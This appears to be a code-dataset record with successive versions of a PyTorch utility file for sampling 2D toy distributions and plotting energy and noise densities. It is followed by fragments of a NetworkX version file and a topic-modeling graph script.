linspace3 = torch.linspace(0, 2 * math.pi, n_samples3 + 1)[:-1]\n linspace2 = torch.linspace(0, 2 * math.pi, n_samples2 + 1)[:-1]\n linspace1 = torch.linspace(0, 2 * math.pi, n_samples1 + 1)[:-1]\n circ4_x = torch.cos(linspace4)\n circ4_y = torch.sin(linspace4)\n circ3_x = torch.cos(linspace4) * 0.75\n circ3_y = torch.sin(linspace3) * 0.75\n circ2_x = torch.cos(linspace2) * 0.5\n circ2_y = torch.sin(linspace2) * 0.5\n circ1_x = torch.cos(linspace1) * 0.25\n circ1_y = torch.sin(linspace1) * 0.25\n x = torch.stack([torch.cat([circ4_x, circ3_x, circ2_x, circ1_x]),\n torch.cat([circ4_y, circ3_y, circ2_y, circ1_y])], dim=1) * 3.0\n x = x[torch.randint(0, n_samples, size=(n_samples,))]\n return x + torch.normal(mean=torch.zeros_like(x), std=0.08 * torch.\n ones_like(x))\n elif dataset == 'pinwheel':\n rng = np.random.RandomState()\n radial_std = 0.3\n tangential_std = 0.1\n num_classes = 5\n num_per_class = n_samples // 5\n rate = 0.25\n rads = np.linspace(0, 2 * np.pi, num_classes, endpoint=False)\n features = rng.randn(num_classes * num_per_class, 2) * np.array([\n radial_std, tangential_std])\n features[:, 0] += 1.0\n labels = np.repeat(np.arange(num_classes), num_per_class)\n angles = rads[labels] + rate * np.exp(features[:, 0])\n rotations = np.stack([np.cos(angles), -np.sin(angles), np.sin(\n angles), np.cos(angles)])\n rotations = np.reshape(rotations.T, (-1, 2, 2))\n data = 2 * rng.permutation(np.einsum('ti,tij->tj', features, rotations)\n )\n return torch.as_tensor(data, dtype=torch.float32)\n else:\n raise RuntimeError('Invalid `dataset` to sample from.')\n\n\n@torch.no_grad()\ndef plot(dataset, energy, noise, epoch, device):\n n_pts = 1000\n range_lim = 4\n test_grid = setup_grid(range_lim, n_pts, device)\n fig, axs = plt.subplots(1, 3, figsize=(12, 4.3), subplot_kw={'aspect':\n 'equal'})\n plot_samples(dataset, axs[0], range_lim, n_pts)\n plot_noise(noise, axs[1], test_grid, n_pts)\n plot_energy(energy, axs[2], test_grid, n_pts)\n for ax in plt.gcf().axes:\n format_ax(ax, range_lim)\n plt.tight_layout()\n print('Saving image to images/....')\n plt.savefig('images/epoch_{}.png'.format(epoch))\n plt.close()\n\n\ndef setup_grid(range_lim, n_pts, device):\n x = torch.linspace(-range_lim, range_lim, n_pts)\n xx, yy = torch.meshgrid((x, x))\n zz = torch.stack((xx.flatten(), yy.flatten()), dim=1)\n return xx, yy, zz.to(device)\n\n\ndef plot_samples(dataset, ax, range_lim, n_pts):\n samples = dataset.numpy()\n ax.hist2d(samples[:, 0], samples[:, 1], range=[[-range_lim, range_lim],\n [-range_lim, range_lim]], bins=n_pts, cmap=plt.cm.jet)\n ax.set_title('Target samples')\n\n\ndef plot_energy(energy, ax, test_grid, n_pts):\n xx, yy, zz = test_grid\n log_prob = energy(zz)\n prob = log_prob.exp().cpu()\n ax.pcolormesh(xx, yy, prob.view(n_pts, n_pts), cmap=plt.cm.jet)\n ax.set_facecolor(plt.cm.jet(0.0))\n ax.set_title('Energy density')\n\n\n<mask token>\n\n\ndef format_ax(ax, range_lim):\n ax.set_xlim(-range_lim, range_lim)\n ax.set_ylim(-range_lim, range_lim)\n ax.get_xaxis().set_visible(False)\n ax.get_yaxis().set_visible(False)\n ax.invert_yaxis()\n", "step-3": "<mask token>\n\n\ndef value(energy, noise, x, gen):\n logp_x = energy(x)\n logq_x = noise.log_prob(x).unsqueeze(1)\n logp_gen = energy(gen)\n logq_gen = noise.log_prob(gen).unsqueeze(1)\n ll_data = logp_x - torch.logsumexp(torch.cat([logp_x, logq_x], dim=1),\n dim=1, keepdim=True)\n ll_gen = logq_gen - torch.logsumexp(torch.cat([logp_gen, logq_gen], dim\n =1), dim=1, keepdim=True)\n v = ll_data.mean() + ll_gen.mean()\n r_x = torch.sigmoid(logp_x - logq_x)\n r_gen = torch.sigmoid(logq_gen - logp_gen)\n acc = ((r_x > 1 / 2).sum() + (r_gen > 1 / 2).sum()).cpu().numpy() / (len\n (x) + len(gen))\n return -v, acc\n\n\ndef get_data(args):\n dataset = sample_2d_data(dataset=args.dataset, n_samples=args.samples)\n dataloader = DataLoader(dataset, batch_size=args.batch, shuffle=True)\n return dataset, dataloader\n\n\ndef sample_2d_data(dataset='8gaussians', n_samples=50000):\n z = torch.randn(n_samples, 2)\n if dataset == '8gaussians':\n scale = 4\n sq2 = 1 / math.sqrt(2)\n centers = [(1, 0), (-1, 0), (0, 1), (0, -1), (sq2, sq2), (-sq2, sq2\n ), (sq2, -sq2), (-sq2, -sq2)]\n centers = torch.tensor([(scale * x, scale * y) for x, y in centers])\n return sq2 * (0.5 * z + centers[torch.randint(len(centers), size=(\n n_samples,))])\n elif dataset == '2spirals':\n n = torch.sqrt(torch.rand(n_samples // 2)) * 540 * (2 * math.pi) / 360\n d1x = -torch.cos(n) * n + torch.rand(n_samples // 2) * 0.5\n d1y = torch.sin(n) * n + torch.rand(n_samples // 2) * 0.5\n x = torch.cat([torch.stack([d1x, d1y], dim=1), torch.stack([-d1x, -\n d1y], dim=1)], dim=0) / 3\n return x + 0.1 * z\n elif dataset == 'checkerboard':\n x1 = torch.rand(n_samples) * 4 - 2\n x2_ = torch.rand(n_samples) - torch.randint(0, 2, (n_samples,),\n dtype=torch.float) * 2\n x2 = x2_ + x1.floor() % 2\n return torch.stack([x1, x2], dim=1) * 2\n elif dataset == 'rings':\n n_samples4 = n_samples3 = n_samples2 = n_samples // 4\n n_samples1 = n_samples - n_samples4 - n_samples3 - n_samples2\n linspace4 = torch.linspace(0, 2 * math.pi, n_samples4 + 1)[:-1]\n linspace3 = torch.linspace(0, 2 * math.pi, n_samples3 + 1)[:-1]\n linspace2 = torch.linspace(0, 2 * math.pi, n_samples2 + 1)[:-1]\n linspace1 = torch.linspace(0, 2 * math.pi, n_samples1 + 1)[:-1]\n circ4_x = torch.cos(linspace4)\n circ4_y = torch.sin(linspace4)\n circ3_x = torch.cos(linspace4) * 0.75\n circ3_y = torch.sin(linspace3) * 0.75\n circ2_x = torch.cos(linspace2) * 0.5\n circ2_y = torch.sin(linspace2) * 0.5\n circ1_x = torch.cos(linspace1) * 0.25\n circ1_y = torch.sin(linspace1) * 0.25\n x = torch.stack([torch.cat([circ4_x, circ3_x, circ2_x, circ1_x]),\n torch.cat([circ4_y, circ3_y, circ2_y, circ1_y])], dim=1) * 3.0\n x = x[torch.randint(0, n_samples, size=(n_samples,))]\n return x + torch.normal(mean=torch.zeros_like(x), std=0.08 * torch.\n ones_like(x))\n elif dataset == 'pinwheel':\n rng = np.random.RandomState()\n radial_std = 0.3\n tangential_std = 0.1\n num_classes = 5\n num_per_class = n_samples // 5\n rate = 0.25\n rads = np.linspace(0, 2 * np.pi, num_classes, endpoint=False)\n features = rng.randn(num_classes * num_per_class, 2) * np.array([\n radial_std, tangential_std])\n features[:, 0] += 1.0\n labels = np.repeat(np.arange(num_classes), num_per_class)\n angles = rads[labels] + rate * np.exp(features[:, 0])\n rotations = np.stack([np.cos(angles), -np.sin(angles), np.sin(\n angles), np.cos(angles)])\n rotations = np.reshape(rotations.T, (-1, 2, 2))\n data = 2 * rng.permutation(np.einsum('ti,tij->tj', features, rotations)\n )\n return torch.as_tensor(data, dtype=torch.float32)\n else:\n raise RuntimeError('Invalid `dataset` to sample from.')\n\n\n@torch.no_grad()\ndef plot(dataset, energy, noise, epoch, device):\n n_pts = 1000\n range_lim = 4\n test_grid = setup_grid(range_lim, n_pts, device)\n fig, axs = plt.subplots(1, 3, figsize=(12, 4.3), subplot_kw={'aspect':\n 'equal'})\n plot_samples(dataset, axs[0], range_lim, n_pts)\n plot_noise(noise, axs[1], test_grid, n_pts)\n plot_energy(energy, axs[2], test_grid, n_pts)\n for ax in plt.gcf().axes:\n format_ax(ax, range_lim)\n plt.tight_layout()\n print('Saving image to images/....')\n plt.savefig('images/epoch_{}.png'.format(epoch))\n plt.close()\n\n\ndef setup_grid(range_lim, n_pts, device):\n x = torch.linspace(-range_lim, range_lim, n_pts)\n xx, yy = torch.meshgrid((x, x))\n zz = torch.stack((xx.flatten(), yy.flatten()), dim=1)\n return xx, yy, zz.to(device)\n\n\ndef plot_samples(dataset, ax, range_lim, n_pts):\n samples = dataset.numpy()\n ax.hist2d(samples[:, 0], samples[:, 1], range=[[-range_lim, range_lim],\n [-range_lim, range_lim]], bins=n_pts, cmap=plt.cm.jet)\n ax.set_title('Target samples')\n\n\ndef plot_energy(energy, ax, test_grid, n_pts):\n xx, yy, zz = test_grid\n log_prob = energy(zz)\n prob = log_prob.exp().cpu()\n ax.pcolormesh(xx, yy, prob.view(n_pts, n_pts), cmap=plt.cm.jet)\n ax.set_facecolor(plt.cm.jet(0.0))\n ax.set_title('Energy density')\n\n\ndef plot_noise(noise, ax, test_grid, n_pts):\n xx, yy, zz = test_grid\n log_prob = noise.log_prob(zz)\n prob = log_prob.exp().cpu()\n ax.pcolormesh(xx, yy, prob.view(n_pts, n_pts), cmap=plt.cm.jet)\n ax.set_facecolor(plt.cm.jet(0.0))\n ax.set_title('Noise density')\n\n\ndef format_ax(ax, range_lim):\n ax.set_xlim(-range_lim, range_lim)\n ax.set_ylim(-range_lim, range_lim)\n ax.get_xaxis().set_visible(False)\n ax.get_yaxis().set_visible(False)\n ax.invert_yaxis()\n", "step-4": "import math\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import DataLoader\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\n\ndef value(energy, noise, x, gen):\n logp_x = energy(x)\n logq_x = noise.log_prob(x).unsqueeze(1)\n logp_gen = energy(gen)\n logq_gen = noise.log_prob(gen).unsqueeze(1)\n ll_data = logp_x - torch.logsumexp(torch.cat([logp_x, logq_x], dim=1),\n dim=1, keepdim=True)\n ll_gen = logq_gen - torch.logsumexp(torch.cat([logp_gen, logq_gen], dim\n =1), dim=1, keepdim=True)\n v = ll_data.mean() + ll_gen.mean()\n r_x = torch.sigmoid(logp_x - logq_x)\n r_gen = torch.sigmoid(logq_gen - logp_gen)\n acc = ((r_x > 1 / 2).sum() + (r_gen > 1 / 2).sum()).cpu().numpy() / (len\n (x) + len(gen))\n return -v, acc\n\n\ndef get_data(args):\n dataset = sample_2d_data(dataset=args.dataset, n_samples=args.samples)\n dataloader = DataLoader(dataset, batch_size=args.batch, shuffle=True)\n return dataset, dataloader\n\n\ndef sample_2d_data(dataset='8gaussians', n_samples=50000):\n z = torch.randn(n_samples, 2)\n if dataset == '8gaussians':\n scale = 4\n sq2 = 1 / math.sqrt(2)\n centers = [(1, 0), (-1, 0), (0, 1), (0, -1), (sq2, sq2), (-sq2, sq2\n ), (sq2, -sq2), (-sq2, -sq2)]\n centers = torch.tensor([(scale * x, scale * y) for x, y in centers])\n return sq2 * (0.5 * z + centers[torch.randint(len(centers), size=(\n n_samples,))])\n elif dataset == '2spirals':\n n = torch.sqrt(torch.rand(n_samples // 2)) * 540 * (2 * math.pi) / 360\n d1x = -torch.cos(n) * n + torch.rand(n_samples // 2) * 0.5\n d1y = torch.sin(n) * n + torch.rand(n_samples // 2) * 0.5\n x = torch.cat([torch.stack([d1x, d1y], dim=1), torch.stack([-d1x, -\n d1y], dim=1)], dim=0) / 3\n return x + 0.1 * z\n elif dataset == 'checkerboard':\n x1 = torch.rand(n_samples) * 4 - 2\n x2_ = torch.rand(n_samples) - torch.randint(0, 2, (n_samples,),\n dtype=torch.float) * 2\n x2 = x2_ + x1.floor() % 2\n return torch.stack([x1, x2], dim=1) * 2\n elif dataset == 'rings':\n n_samples4 = n_samples3 = n_samples2 = n_samples // 4\n n_samples1 = n_samples - n_samples4 - n_samples3 - n_samples2\n linspace4 = torch.linspace(0, 2 * math.pi, n_samples4 + 1)[:-1]\n linspace3 = torch.linspace(0, 2 * math.pi, n_samples3 + 1)[:-1]\n linspace2 = torch.linspace(0, 2 * math.pi, n_samples2 + 1)[:-1]\n linspace1 = torch.linspace(0, 2 * math.pi, n_samples1 + 1)[:-1]\n circ4_x = torch.cos(linspace4)\n circ4_y = torch.sin(linspace4)\n circ3_x = torch.cos(linspace4) * 0.75\n circ3_y = torch.sin(linspace3) * 0.75\n circ2_x = torch.cos(linspace2) * 0.5\n circ2_y = torch.sin(linspace2) * 0.5\n circ1_x = torch.cos(linspace1) * 0.25\n circ1_y = torch.sin(linspace1) * 0.25\n x = torch.stack([torch.cat([circ4_x, circ3_x, circ2_x, circ1_x]),\n torch.cat([circ4_y, circ3_y, circ2_y, circ1_y])], dim=1) * 3.0\n x = x[torch.randint(0, n_samples, size=(n_samples,))]\n return x + torch.normal(mean=torch.zeros_like(x), std=0.08 * torch.\n ones_like(x))\n elif dataset == 'pinwheel':\n rng = np.random.RandomState()\n radial_std = 0.3\n tangential_std = 0.1\n num_classes = 5\n num_per_class = n_samples // 5\n rate = 0.25\n rads = np.linspace(0, 2 * np.pi, num_classes, endpoint=False)\n features = rng.randn(num_classes * num_per_class, 2) * np.array([\n radial_std, tangential_std])\n features[:, 0] += 1.0\n labels = np.repeat(np.arange(num_classes), num_per_class)\n angles = rads[labels] + rate * np.exp(features[:, 0])\n rotations = np.stack([np.cos(angles), -np.sin(angles), np.sin(\n angles), np.cos(angles)])\n rotations = np.reshape(rotations.T, (-1, 2, 2))\n data = 2 * rng.permutation(np.einsum('ti,tij->tj', features, rotations)\n )\n return torch.as_tensor(data, dtype=torch.float32)\n else:\n raise RuntimeError('Invalid `dataset` to sample from.')\n\n\n@torch.no_grad()\ndef plot(dataset, energy, noise, epoch, device):\n n_pts = 1000\n range_lim = 4\n test_grid = setup_grid(range_lim, n_pts, device)\n fig, axs = plt.subplots(1, 3, figsize=(12, 4.3), subplot_kw={'aspect':\n 'equal'})\n plot_samples(dataset, axs[0], range_lim, n_pts)\n plot_noise(noise, axs[1], test_grid, n_pts)\n plot_energy(energy, axs[2], test_grid, n_pts)\n for ax in plt.gcf().axes:\n format_ax(ax, range_lim)\n plt.tight_layout()\n print('Saving image to images/....')\n plt.savefig('images/epoch_{}.png'.format(epoch))\n plt.close()\n\n\ndef setup_grid(range_lim, n_pts, device):\n x = torch.linspace(-range_lim, range_lim, n_pts)\n xx, yy = torch.meshgrid((x, x))\n zz = torch.stack((xx.flatten(), yy.flatten()), dim=1)\n return xx, yy, zz.to(device)\n\n\ndef plot_samples(dataset, ax, range_lim, n_pts):\n samples = dataset.numpy()\n ax.hist2d(samples[:, 0], samples[:, 1], range=[[-range_lim, range_lim],\n [-range_lim, range_lim]], bins=n_pts, cmap=plt.cm.jet)\n ax.set_title('Target samples')\n\n\ndef plot_energy(energy, ax, test_grid, n_pts):\n xx, yy, zz = test_grid\n log_prob = energy(zz)\n prob = log_prob.exp().cpu()\n ax.pcolormesh(xx, yy, prob.view(n_pts, n_pts), cmap=plt.cm.jet)\n ax.set_facecolor(plt.cm.jet(0.0))\n ax.set_title('Energy density')\n\n\ndef plot_noise(noise, ax, test_grid, n_pts):\n xx, yy, zz = test_grid\n log_prob = noise.log_prob(zz)\n prob = log_prob.exp().cpu()\n ax.pcolormesh(xx, yy, prob.view(n_pts, n_pts), cmap=plt.cm.jet)\n ax.set_facecolor(plt.cm.jet(0.0))\n ax.set_title('Noise density')\n\n\ndef format_ax(ax, range_lim):\n ax.set_xlim(-range_lim, range_lim)\n ax.set_ylim(-range_lim, range_lim)\n ax.get_xaxis().set_visible(False)\n ax.get_yaxis().set_visible(False)\n ax.invert_yaxis()\n", "step-5": "import math\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import DataLoader\n\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\n\ndef value(energy, noise, x, gen):\n logp_x = energy(x)\n logq_x = noise.log_prob(x).unsqueeze(1)\n logp_gen = energy(gen)\n logq_gen = noise.log_prob(gen).unsqueeze(1)\n\n ll_data = logp_x - torch.logsumexp(torch.cat([logp_x, logq_x], dim=1), dim=1, keepdim=True)\n ll_gen = logq_gen - torch.logsumexp(torch.cat([logp_gen, logq_gen], dim=1), dim=1, keepdim=True)\n\n v = ll_data.mean() + ll_gen.mean()\n\n r_x = torch.sigmoid(logp_x - logq_x)\n r_gen = torch.sigmoid(logq_gen - logp_gen)\n\n acc = ((r_x > 1/2).sum() + (r_gen > 1/2).sum()).cpu().numpy() / (len(x) + len(gen))\n\n return -v, acc\n\n\n#-------------------------------------------\n# DATA\n#-------------------------------------------\ndef get_data(args):\n dataset = sample_2d_data(dataset=args.dataset, n_samples=args.samples)\n dataloader = DataLoader(dataset, batch_size=args.batch, shuffle=True)\n return dataset, dataloader\n\ndef sample_2d_data(dataset='8gaussians', n_samples=50000):\n \n z = torch.randn(n_samples, 2)\n\n if dataset == '8gaussians':\n scale = 4\n sq2 = 1/math.sqrt(2)\n centers = [(1,0), (-1,0), (0,1), (0,-1), (sq2,sq2), (-sq2,sq2), (sq2,-sq2), (-sq2,-sq2)]\n centers = torch.tensor([(scale * x, scale * y) for x,y in centers])\n return sq2 * (0.5 * z + centers[torch.randint(len(centers), size=(n_samples,))])\n\n elif dataset == '2spirals':\n n = torch.sqrt(torch.rand(n_samples // 2)) * 540 * (2 * math.pi) / 360\n d1x = - torch.cos(n) * n + torch.rand(n_samples // 2) * 0.5\n d1y = torch.sin(n) * n + torch.rand(n_samples // 2) * 0.5\n x = torch.cat([torch.stack([ d1x, d1y], dim=1),\n torch.stack([-d1x, -d1y], dim=1)], dim=0) / 3\n return x + 0.1*z\n\n elif dataset == 'checkerboard':\n x1 = torch.rand(n_samples) * 4 - 2\n x2_ = torch.rand(n_samples) - torch.randint(0, 2, (n_samples,), dtype=torch.float) * 2\n x2 = x2_ + x1.floor() % 2\n return torch.stack([x1, x2], dim=1) * 2\n\n elif dataset == 'rings':\n n_samples4 = n_samples3 = n_samples2 = n_samples // 4\n n_samples1 = n_samples - n_samples4 - n_samples3 - n_samples2\n\n # so as not to have the first point = last point, set endpoint=False in np; here shifted by one\n linspace4 = torch.linspace(0, 2 * math.pi, n_samples4 + 1)[:-1]\n linspace3 = torch.linspace(0, 2 * math.pi, n_samples3 + 1)[:-1]\n linspace2 = torch.linspace(0, 2 * math.pi, n_samples2 + 1)[:-1]\n linspace1 = torch.linspace(0, 2 * math.pi, n_samples1 + 1)[:-1]\n\n circ4_x = torch.cos(linspace4)\n circ4_y = torch.sin(linspace4)\n circ3_x = torch.cos(linspace4) * 0.75\n circ3_y = torch.sin(linspace3) * 0.75\n circ2_x = torch.cos(linspace2) * 0.5\n circ2_y = torch.sin(linspace2) * 0.5\n circ1_x = torch.cos(linspace1) * 0.25\n circ1_y = torch.sin(linspace1) * 0.25\n\n x = torch.stack([torch.cat([circ4_x, circ3_x, circ2_x, circ1_x]),\n torch.cat([circ4_y, circ3_y, circ2_y, circ1_y])], dim=1) * 3.0\n\n # random sample\n x = x[torch.randint(0, n_samples, size=(n_samples,))]\n\n # Add noise\n return x + torch.normal(mean=torch.zeros_like(x), std=0.08*torch.ones_like(x))\n\n elif dataset == \"pinwheel\":\n rng = np.random.RandomState()\n radial_std = 0.3\n tangential_std = 0.1\n num_classes = 5\n num_per_class = n_samples // 5\n rate = 0.25\n rads = np.linspace(0, 2 * np.pi, num_classes, endpoint=False)\n\n features = rng.randn(num_classes*num_per_class, 2) \\\n * np.array([radial_std, tangential_std])\n features[:, 0] += 1.\n labels = np.repeat(np.arange(num_classes), num_per_class)\n\n angles = rads[labels] + rate * np.exp(features[:, 0])\n rotations = np.stack([np.cos(angles), -np.sin(angles), np.sin(angles), np.cos(angles)])\n rotations = np.reshape(rotations.T, (-1, 2, 2))\n \n data = 2 * rng.permutation(np.einsum(\"ti,tij->tj\", features, rotations))\n return torch.as_tensor(data, dtype=torch.float32)\n\n else:\n raise RuntimeError('Invalid `dataset` to sample from.')\n\n# --------------------\n# Plotting\n# --------------------\n\n@torch.no_grad()\ndef plot(dataset, energy, noise, epoch, device):\n n_pts = 1000\n range_lim = 4\n\n # construct test points\n test_grid = setup_grid(range_lim, n_pts, device)\n\n # plot\n fig, axs = plt.subplots(1, 3, figsize=(12,4.3), subplot_kw={'aspect': 'equal'})\n plot_samples(dataset, axs[0], range_lim, n_pts)\n plot_noise(noise, axs[1], test_grid, n_pts)\n plot_energy(energy, axs[2], test_grid, n_pts)\n\n # format\n for ax in plt.gcf().axes: format_ax(ax, range_lim)\n plt.tight_layout()\n\n # save\n print('Saving image to images/....')\n plt.savefig('images/epoch_{}.png'.format(epoch))\n plt.close()\n\ndef setup_grid(range_lim, n_pts, device):\n x = torch.linspace(-range_lim, range_lim, n_pts)\n xx, yy = torch.meshgrid((x, x))\n zz = torch.stack((xx.flatten(), yy.flatten()), dim=1)\n return xx, yy, zz.to(device)\n\ndef plot_samples(dataset, ax, range_lim, n_pts):\n samples = dataset.numpy()\n ax.hist2d(samples[:,0], samples[:,1], range=[[-range_lim, range_lim], [-range_lim, range_lim]], bins=n_pts, cmap=plt.cm.jet)\n ax.set_title('Target samples')\n\ndef plot_energy(energy, ax, test_grid, n_pts):\n xx, yy, zz = test_grid\n log_prob = energy(zz)\n prob = log_prob.exp().cpu()\n # plot\n ax.pcolormesh(xx, yy, prob.view(n_pts,n_pts), cmap=plt.cm.jet)\n ax.set_facecolor(plt.cm.jet(0.))\n ax.set_title('Energy density')\n\ndef plot_noise(noise, ax, test_grid, n_pts):\n xx, yy, zz = test_grid\n log_prob = noise.log_prob(zz)\n prob = log_prob.exp().cpu()\n # plot\n ax.pcolormesh(xx, yy, prob.view(n_pts,n_pts), cmap=plt.cm.jet)\n ax.set_facecolor(plt.cm.jet(0.))\n ax.set_title('Noise density')\n\ndef format_ax(ax, range_lim):\n ax.set_xlim(-range_lim, range_lim)\n ax.set_ylim(-range_lim, range_lim)\n ax.get_xaxis().set_visible(False)\n ax.get_yaxis().set_visible(False)\n ax.invert_yaxis()", "step-ids": [ 7, 8, 9, 11, 12 ] }
[ 7, 8, 9, 11, 12 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> version = '2.3' date = 'Thu Apr 11 20:57:18 2019' dev = False version_info = 'networkx', '2', '3', None date_info = datetime.datetime(2019, 4, 11, 20, 57, 18) vcs_info = None, (None, None) <|reserved_special_token_1|> <|reserved_special_token_0|> import datetime version = '2.3' date = 'Thu Apr 11 20:57:18 2019' dev = False version_info = 'networkx', '2', '3', None date_info = datetime.datetime(2019, 4, 11, 20, 57, 18) vcs_info = None, (None, None) <|reserved_special_token_1|> """ Version information for NetworkX, created during installation. Do not add this file to the repository. """ import datetime version = '2.3' date = 'Thu Apr 11 20:57:18 2019' # Was NetworkX built from a development version? If so, remember that the major # and minor versions reference the "target" (rather than "current") release. dev = False # Format: (name, major, min, revision) version_info = ('networkx', '2', '3', None) # Format: a 'datetime.datetime' instance date_info = datetime.datetime(2019, 4, 11, 20, 57, 18) # Format: (vcs, vcs_tuple) vcs_info = (None, (None, None))
flexible
{ "blob_id": "814191a577db279389975e5a02e72cd817254275", "index": 9444, "step-1": "<mask token>\n", "step-2": "<mask token>\nversion = '2.3'\ndate = 'Thu Apr 11 20:57:18 2019'\ndev = False\nversion_info = 'networkx', '2', '3', None\ndate_info = datetime.datetime(2019, 4, 11, 20, 57, 18)\nvcs_info = None, (None, None)\n", "step-3": "<mask token>\nimport datetime\nversion = '2.3'\ndate = 'Thu Apr 11 20:57:18 2019'\ndev = False\nversion_info = 'networkx', '2', '3', None\ndate_info = datetime.datetime(2019, 4, 11, 20, 57, 18)\nvcs_info = None, (None, None)\n", "step-4": "\"\"\"\nVersion information for NetworkX, created during installation.\n\nDo not add this file to the repository.\n\n\"\"\"\n\nimport datetime\n\nversion = '2.3'\ndate = 'Thu Apr 11 20:57:18 2019'\n\n# Was NetworkX built from a development version? If so, remember that the major\n# and minor versions reference the \"target\" (rather than \"current\") release.\ndev = False\n\n# Format: (name, major, min, revision)\nversion_info = ('networkx', '2', '3', None)\n\n# Format: a 'datetime.datetime' instance\ndate_info = datetime.datetime(2019, 4, 11, 20, 57, 18)\n\n# Format: (vcs, vcs_tuple)\nvcs_info = (None, (None, None))\n\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
def increment(number: int) ->int: """Increment a number. Args: number (int): The number to increment. Returns: int: The incremented number. """ return number + 1
normal
{ "blob_id": "b0cc2efda4d6586b66e04b41dfe1bbce8d009e2e", "index": 6871, "step-1": "<mask token>\n", "step-2": "def increment(number: int) ->int:\n \"\"\"Increment a number.\n\n Args:\n number (int): The number to increment.\n\n Returns:\n int: The incremented number.\n \"\"\"\n return number + 1\n", "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0, 1 ] }
[ 0, 1 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> os.chdir( 'C:\\Users\\Alex\\Documents\\GitHub\\insight-articles-project\\src\\topic modeling\\' ) <|reserved_special_token_0|> with open(filename, 'rb') as fp: topic_assignments, meta_topic_assignments = pickle.load(fp) <|reserved_special_token_0|> with open(filename, 'rb') as fp: graph_mat, topic_labels, dist_mat, doc_topic_mat = pickle.load(fp) plt.close() <|reserved_special_token_0|> if not np.any(graph_mat): min_val = np.min(sub_dist_mat) graph_mat = sub_dist_mat <= min_val <|reserved_special_token_0|> for counter, value in enumerate(sub_topic_labels.keys()): new_sub_topic_labels[counter] = sub_topic_labels[value] plt.figure() <|reserved_special_token_0|> nx.relabel_nodes(G, sub_topic_labels) nx.draw(G, pos) nx.draw_networkx_labels(G, pos, new_sub_topic_labels, font_size=16) <|reserved_special_token_0|> for key, value in pos.items(): if value[0] < 0: pos_part2 = ' left' else: pos_part2 = ' right' if value[1] < 0: pos_part1 = 'bottom' else: pos_part1 = 'top' text_pos.append(pos_part1 + pos_part2) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> os.chdir( 'C:\\Users\\Alex\\Documents\\GitHub\\insight-articles-project\\src\\topic modeling\\' ) <|reserved_special_token_0|> processed_data_folder = ( 'C:\\Users\\Alex\\Documents\\GitHub\\insight-articles-project\\data\\processed\\' ) filename = processed_data_folder + 'topic_assignments' with open(filename, 'rb') as fp: topic_assignments, meta_topic_assignments = pickle.load(fp) filename = processed_data_folder + 'graph_and_labels' with open(filename, 'rb') as fp: graph_mat, topic_labels, dist_mat, doc_topic_mat = pickle.load(fp) plt.close() meta_topic = 0 sub_topics, = np.where(meta_topic_assignments == meta_topic) sub_dist_mat = dist_mat[sub_topics][:, sub_topics] graph_mat = sub_dist_mat < 0.95 if not np.any(graph_mat): min_val = np.min(sub_dist_mat) graph_mat = sub_dist_mat <= min_val sub_topic_labels = {sub_topic: topic_labels[sub_topic] for sub_topic in sub_topics if sub_topic in topic_labels} new_sub_topic_labels = {} for counter, value in enumerate(sub_topic_labels.keys()): new_sub_topic_labels[counter] = sub_topic_labels[value] plt.figure() G = nx.from_numpy_matrix(graph_mat) pos = nx.layout.circular_layout(G) nx.relabel_nodes(G, sub_topic_labels) nx.draw(G, pos) nx.draw_networkx_labels(G, pos, new_sub_topic_labels, font_size=16) node_labels = list(sub_topic_labels.values()) text_pos = [] for key, value in pos.items(): if value[0] < 0: pos_part2 = ' left' else: pos_part2 = ' right' if value[1] < 0: pos_part1 = 'bottom' else: pos_part1 = 'top' text_pos.append(pos_part1 + pos_part2) url = plot(G, pos, node_labels, text_pos) <|reserved_special_token_1|> <|reserved_special_token_0|> import pickle import numpy as np import matplotlib.pyplot as plt import networkx as nx import os os.chdir( 'C:\\Users\\Alex\\Documents\\GitHub\\insight-articles-project\\src\\topic modeling\\' ) from plotly_network import plot processed_data_folder = ( 'C:\\Users\\Alex\\Documents\\GitHub\\insight-articles-project\\data\\processed\\' ) filename = processed_data_folder + 'topic_assignments' with open(filename, 'rb') as fp: topic_assignments, meta_topic_assignments = pickle.load(fp) filename = processed_data_folder + 'graph_and_labels' with open(filename, 'rb') as fp: graph_mat, topic_labels, dist_mat, doc_topic_mat = pickle.load(fp) plt.close() meta_topic = 0 sub_topics, = np.where(meta_topic_assignments == meta_topic) sub_dist_mat = dist_mat[sub_topics][:, sub_topics] graph_mat = sub_dist_mat < 0.95 if not np.any(graph_mat): min_val = np.min(sub_dist_mat) graph_mat = sub_dist_mat <= min_val sub_topic_labels = {sub_topic: topic_labels[sub_topic] for sub_topic in sub_topics if sub_topic in topic_labels} new_sub_topic_labels = {} for counter, value in enumerate(sub_topic_labels.keys()): new_sub_topic_labels[counter] = sub_topic_labels[value] plt.figure() G = nx.from_numpy_matrix(graph_mat) pos = nx.layout.circular_layout(G) nx.relabel_nodes(G, sub_topic_labels) nx.draw(G, pos) nx.draw_networkx_labels(G, pos, new_sub_topic_labels, font_size=16) node_labels = list(sub_topic_labels.values()) text_pos = [] for key, value in pos.items(): if value[0] < 0: pos_part2 = ' left' else: pos_part2 = ' right' if value[1] < 0: pos_part1 = 'bottom' else: pos_part1 = 'top' text_pos.append(pos_part1 + pos_part2) url = plot(G, pos, node_labels, text_pos) <|reserved_special_token_1|> # -*- coding: utf-8 -*- """ Created on Thu Jun 28 16:36:56 2018 @author: Alex """ #%% Import packages import pickle import numpy as np import matplotlib.pyplot as plt import networkx as nx import os os.chdir('C:\\Users\\Alex\\Documents\\GitHub\\insight-articles-project\\src\\topic modeling\\') from plotly_network import plot #%% Load data # Load metatopic allocations processed_data_folder = 'C:\\Users\\Alex\\Documents\\GitHub\\insight-articles-project\\data\\processed\\' filename = processed_data_folder + 'topic_assignments' with open(filename, 'rb') as fp: topic_assignments, meta_topic_assignments = pickle.load(fp) # Load distance matrix filename = processed_data_folder + 'graph_and_labels' with open(filename, 'rb') 